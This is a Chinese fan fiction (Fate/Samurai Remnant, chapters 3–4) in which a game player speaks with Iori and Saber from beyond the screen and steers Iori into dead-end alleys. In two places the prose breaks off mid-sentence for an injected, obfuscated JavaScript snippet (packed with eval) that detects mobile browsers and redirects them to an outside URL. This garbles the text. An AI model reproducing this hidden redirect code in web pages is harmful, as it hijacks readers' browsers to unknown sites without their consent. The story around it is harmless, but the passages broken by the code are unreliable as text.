《[FSR]圣杯为我而留》 3. 03 紧张,刺激,激烈的从者大战,这就要开始了! 然而只是让林紬熟悉了一下手感,林紬才刚刚尝试了一遍Saber的所有招式,战斗爽都还没爽起来呢,游戏就已经切入了CG画面。 三名从者间的战斗,让整片土地、民居都在熊熊燃烧。 Saber正待使出威力更为强大的宝具之时,伊织下达了命令: “住手,Saber!” 刚拔出一半的剑停滞在了那里。 …… 黑夜将明。 另外两骑从者无声地离开了。 这场大概是圣杯战争开始后的第一场战斗,就这样虎头蛇尾地结束了。 —— 林紬将游戏调成对话自动播放模式,一边吃零食,一边看屏幕内的两人争吵。 「为什么不让我使用宝具?以我的实力,打败他们绰绰有余!」 林紬将薯片嚼得嘎吱嘎吱的。 「你难道看不出你们的战斗将民居毁成什么样了吗?如果你所谓的‘宝具’是威力更大的招式,那就更不能使用了。总而言之,禁止使用宝具。」 林紬又啃了一口苹果。 「如果不能使用宝具,我的刀与废铜烂铁有何区别?禁止宝具的话,那这场圣杯战争——」 林紬打开新一袋零食包装,塑料袋的声音哗啦哗啦的。 紧接着,又是咔嚓咔嚓的嗑瓜子声。 就见屏幕中的两人齐齐吸了一口气,朝向屏幕外怒道: 「可以请阁下吃东西的声音小一点吗?」 「不要在我们争论的时候一边吃东西一边看好戏啊!」 “啊?” 林紬大惊,后知后觉道:“你们听得到?” 伊织简直不想再吐槽,他们都已经交流过多少次了,现在还在惊讶于彼此间声音的传递吗? 但林紬的道歉飞快,也非常诚恳: “那我小声一点吃,你们继续?” 结果还是要吃吗…… 不仅是伊织,Saber也有一种被人看乐子般的不自在感,再与伊织的交谈也收敛了几分剑拔弩张的不快: 「简单来说,盈月之仪共有7对主从,你是Master(御主),我是Servant(从者)。御主与从者是共同立场的同伴,需要在这场仪式中打败其他6对从者,夺取‘盈月’。」 「最后获得的盈月,能够实现你的任何愿望。」 Saber说明的时候,确实没再听见任何吃零食的声音。一直安静到她说完,林紬才惊讶道: “原来这个时代的圣杯被称为盈月啊。” 伊织缓缓消化着这番信息。别说什么“盈月”或是“圣杯”了,他就连英语也是第一次接触,颇为生涩地复述: 「玛斯达……萨文特……圣……杯?」 Saber已是继续说道:「而我们从者,是生前作为英雄豪杰,死后被盈月召唤。通过盈月之仪,我们才能来到现世。」 「死后?」 伊织抓到了关键词:「你是说,你们已是死者,如今却能够在这片大地上自由走动?真是闻所未闻。」 林紬适时笑道:“说不定是他们没死透呢?” Saber却是语气坚决:「我确认我早已死透了!……尽管我缺失了部分记忆,但我确认我早就死了!」 伊织:「……越说越荒谬了。」 他颇觉无力似的摇了摇脑袋,继而说道:「尽管一知半解,但姑且根据你们给出的信息推测下去。」 「如果紬所言为真,那位被称为‘Rider’的从者是那位源赖光的话,他的确是鼎鼎有名的英雄豪杰。」 伊织本准备继续说下去,突然被林紬小声纠正: “是她,她。” 伊织的话好像有些噎住了。 林紬更是进一步说道:“性转是型月世界的基操。当然也不止源赖光,很多角色比如你可能不认识的亚瑟王变成了女性,日本本土有牛若丸变成了女性,啊……!还有你很熟悉的,你师父也变成了女性!” 伊织今天脑子接收到的信息量已经很大了。 但在林紬提到,宫本武藏:性别女的时候,他还是没忍住露出了: 不可能!绝对不可能!的表情。 但他的反应也很快:「你同样认识我的老师?」 林紬略过了这个问题: “顺带一提,你面前这位Saber的性别也应该是确确实实的男性来着。尽管她看起来像女孩子。实际性别……啊,我不太知道,型月没说。Saber,你的性别是?” Saber惊讶还有点惊喜地问:「你知道我?或许,你对我也很熟悉?」 “知道一点点,落地卡池的时候还抽了。抽完就放仓库了,对不起。剑阶的竞争实在是太激烈了。” Saber陷入沉思,似思考起了林紬的后半截内容是什么意思。 尽管对突然将其卷入的“盈月之仪”抱有相当的疑问,但对于突然与他有所连结、且仿佛知晓一切的林紬,他们也怀着同样多的不解。 对于解答圣杯战争相关的流程,林紬带着一种莫名的熟练,三言两句解释清了伊织与Saber大量的疑惑。 在回家路上,他们基本已经厘清了状况。余留下来的些许疑惑,是林紬也找不到原因的现实: 「听起来,阁下与我们不仅不是一个时代,更不是同一世界的人。」 伊织说道:「那为什么我们能与阁下相互 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488503|202131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 交流,阁下还能一定程度的影响我们这边的现世?」 伊织突然问道: 「如果这场仪式之中,我们最终获得盈月,阁下会向它许下什么样的愿望?」 “不用考虑我。” 林紬却是回答:“圣杯……也就是你们说的盈月,它是属于你们的,你们只需要考虑你们的愿望就行了。即便我有所期待,圣杯也应当无法响应才是。” “因为‘圣杯’在我们的世界,并不存在。” 「那阁下本身,有何怀抱之愿吗?」 林紬想了一秒,轻快地,带着些玩笑般的语气答道: “有啊。说不定我会想要来到你们的世界,亲眼见到伊织你呢?” 「……见到我?」 “对。” 林紬笑道:“我在初见到你卡面的时候就对你一见钟情,还把你120,满羁绊了!” 尽管已经努力去理解,伊织想,她又在说那些听不懂的名词了。 林紬没有解释的意思,而伊织先抓住了其中的关键词: 「什么是’卡面‘?」 “就是立绘……” 林紬想了想,更改了说明,以古人更能够理解的词汇答道: “简单来说,就是脸。我对你的长相一见钟情啦,伊织!” 伊织:「……」 一直竖着耳朵听着八卦的Saber终于忍不住,不乏幸灾乐祸地大笑出声: 「原来是这样的缘分!恭喜你,伊织,你的长相也有人夸赞呢!」 伊织:「…………」 伊织的眼里没有光彩,颇为无力地回答: 「承蒙厚爱。但我身无一官半职,亦无俸禄所系。未曾入仕之身,实在担不起阁下的喜爱……」 “我知道啊。” 即便被拒绝,那头的声音也依然是轻飘飘的,带着欢快:“所以我说我喜欢的是你的脸嘛,官职俸禄什么的不重要。” “不过,其实也不只是脸。我知道一点你的性格底色,也大致知晓……你究竟是怎样的人。” 伊织本准备说的话转了音,却再保持了沉默。 Saber好奇道:「什么‘性格底色’?伊织是怎样的人?」 “不知道哇!所以我也想跟着你们一起看看接下来发生了什么。” 林紬却是说道:“我就是被剧透了一点点伊织的人设,也很摸不着头脑,没法笃信地说出个所以然来嘛。” “而且当着本人的面说这些,万一说错了也怪羞耻的。是吧,伊织?” 伊织:「……」 伊织略侧了头,怀抱着他的双刀,缓缓躺在了床铺上,闭眼说道: 「……睡吧。天色已晚,再讨论这些也没有意义。」 4. 04 一夜安眠。 经历了跌宕起伏的一晚,又是从者又是御主又是看不见的背后灵,几人还和强大得不似人类(可能真的就不是人类)的敌手经历了多次战斗。 伊织与那两位不同寻常的存在说完了晚安,夜间便陷入了沉寂。 第二天,是Saber迫不及待地唤醒了伊织。 刚好有伊织的妹妹香耶前来,与两人聊了好一阵。之后香耶恋恋不舍地被伊织赶回去了,Saber一边吃着早餐,感叹饭食的美味,伊织才突然意识到了另一道声音的沉寂。 一夜过去,现在早餐时间也快过去,都快到中午了。虽然林紬出现后也有安静的时间,不过与现在的感觉不太一样。 伊织不太确定地唤了声: “紬……?” 没有回应。 Saber也意识到了这一点,终于舍得从大碗饭中抬起头来,脸颊还鼓鼓地塞着米饭: “她不在吗?” 伊织带上些许思考模样:“看起来好像是的。” “现在也没有人控制你身体的行动?” 伊织在房屋内踱了几步,沉吟答道:“应该是吧。” Saber更加疑惑了:“为什么你答得不干不脆,连你自己都不确定的模样?” “昨天她应该也有短暂地控制过你的身体,我想你应该也有所察觉。” 伊织又一次地说道:“很难分清,做出那些行为的时候,究竟是出于自己的意志,还是因为她的促使。” Saber隐隐有些赞同地长长“嗯……”了一声,两人一同陷入了沉思。 不管是盈月还是林紬,都有太多让人搞不明白的地方。这两人没继续在这个问题上死磕,而是讨论起接下来要去做的事。 伊织刚刚说到他今天应该去到吉原做些任务赚取生活费用,两人便听见熟悉的声音姗姗来迟。林紬依然显得很是精神: 「芜,今天要做什么?去到吉原?」 “你来了啊。为什么现在才出现?” 伊织招呼了一声,又觉得顺口说出的后半句有些奇怪,就像质问一般,不太应该这样说。 林紬倒没太在意细节,如常答道: 「打完游戏之后关机休息了一下,再开就已经到这儿了。不过游戏应该都这样,不太重要的内容会自动跳过吧?总不至于让玩家看一晚上的角色睡觉过程。」 “游戏?” 伊织走出门,顺势问道:“之前也听过你提到这个词。你所说的游戏是指?” 伊织所处的时代并非没有游戏。只是在他的想象之中,或是小孩儿之间的踢沙包,或是田野山林中的嬉闹追逐,乃至于河边捡些小鱼小虾之类的。 说到“游戏”,他基本只能联想到儿童的打闹。然而林紬所指的似乎不是这个意思。 伊织想道,如果Saber是与他相距甚远的古早时代的人类的话,那么林紬应该同样是与他相距甚远的,未来的人。 果然,林紬有些头疼地思考起应该如何解答: 「就是我这个时代的人比较普遍的一种休闲方式……通过一种媒介,我们称之为‘游戏机’。通过这种媒介,简单来说就是可以让我们体验到另一个世界……」 Saber带着好奇旁听,在这时问道: “你是说,我们都是这个‘游戏机’世界里的人?” 林紬长长地犹豫了一阵,最后给出了肯定的回答: 「也可以这么说。」 伊织与Saber都在向着吉原前进。 Saber走得更快了一些,她既对林紬的世界抱有好奇,同样对伊织的世界也有好奇。于是便迫不及待地四处奔跑张望,不知不觉间与伊织拉开了一段距离。 突然发觉伊织已经落后了许多,Saber在前招呼道:“快点伊织!” 但这个时代的街头新奇玩意儿甚多,Saber又被新的物事吸引了注意,向另一个方向跑去。 等了半晌,却没见伊织跟上来。 Saber去了商铺前,与店主交谈过后,突然意识到了购买商品是需要钱币的。 带着嘀嘀咕咕的抱怨,一边想着伊织怎么还没跟上来,不得已,Saber只能折返回去。 伊织:“……” Saber:“……” Saber在一个南辕北辙的死胡同中发现了伊织。 没想到伊织以平静的声音先声夺人地质问: “你是路痴吧?” Saber有点气不打一处来:“你才是路痴吧!” 她指向明晃晃的死胡同的墙壁: “站在这儿,你怎么好意思说我是路痴!” 林紬:「……」 伊织好像很是无力地扶了扶额头:“不是我,是她。” Saber有一瞬的呆滞,她也想起了什么,又用一种极其不可思议的目光看向伊织。 虽然她的本意应该是质疑林紬。但作为无辜的宿主(?),伊织感觉他也被攻击到了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488504|202131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 伊织用一种格外冷峻的面无表情,更用力地强调了这一点: “不是我,是她。” 他们甚至从林紬的回应中听出了汗流浃背的感觉: 「别急,你们先别急,我心里有数的。」 “不,实在是看不出你心里有什么数。” Saber平静地吐槽:“不如先从这个死胡同里走出来呢?” 伊织更显平静地说:“实不相瞒,这是我第三次走进这个胡同里了。” 「因为游戏基本都是这样,死胡同里必有宝物嘛!」 林紬的声音中又带上几分死鸭子嘴硬。 他们确实捡到了少许的钱与魔术材料。伊织的声音依然平静地回应: 「好吧,那就当第一次是你故意的。剩下的第二次与第三次呢?」 林紬:「……」 「我……我先看看地图。」 伊织发表了单纯的疑惑:“哪儿来的地图?” 「游戏自带有地图在右下角。你们先别急,总之会迷路都是因为刚刚没看地图。只要我看了,接下来一定能够轻松走出这讨人厌的迷宫……」 “这还是我第一次听见有人把这里形容为迷宫。就连小时候的香耶也一次也不曾……” 伊织欲言又止,话没说完。Saber显出一种宽容的谅解来,并对伊织伸出了手: “伊织,给我钱。你们可以在这里慢慢打转,我想去那边买吃的。” 伊织摸了摸自己干瘪的钱包,最新一笔入账竟然是刚刚在地上捡到的那么几枚硬币。 他非常淡然地说出了拒绝: “不行。” Saber气愤地鼓起了脸: “伊织,小气。” 伊织假装没听见。而另一位说是在看地图的伟大的存在似乎终于研究出了结果,伊织发现自己正在向与目标截然不同的另一个方向走去。 唯独在这时候,伊织格外肯定了: 毫无疑问,切切实实的,超脱于他的主观意识,他的身体现在是因为另一个人的指引而行动。 他绝不可能在这种地方迷路。 就算把他的智力倒退回十年前也不可能。 「啊……」 走完一段路,林紬又一次发出了遗憾的音:「怎么还是死路……」 Saber在旁边连带着伊织一起嘲笑。 带着强烈的沧桑,伊织长长地叹了口气,说道: “还是由我来指引方向吧。”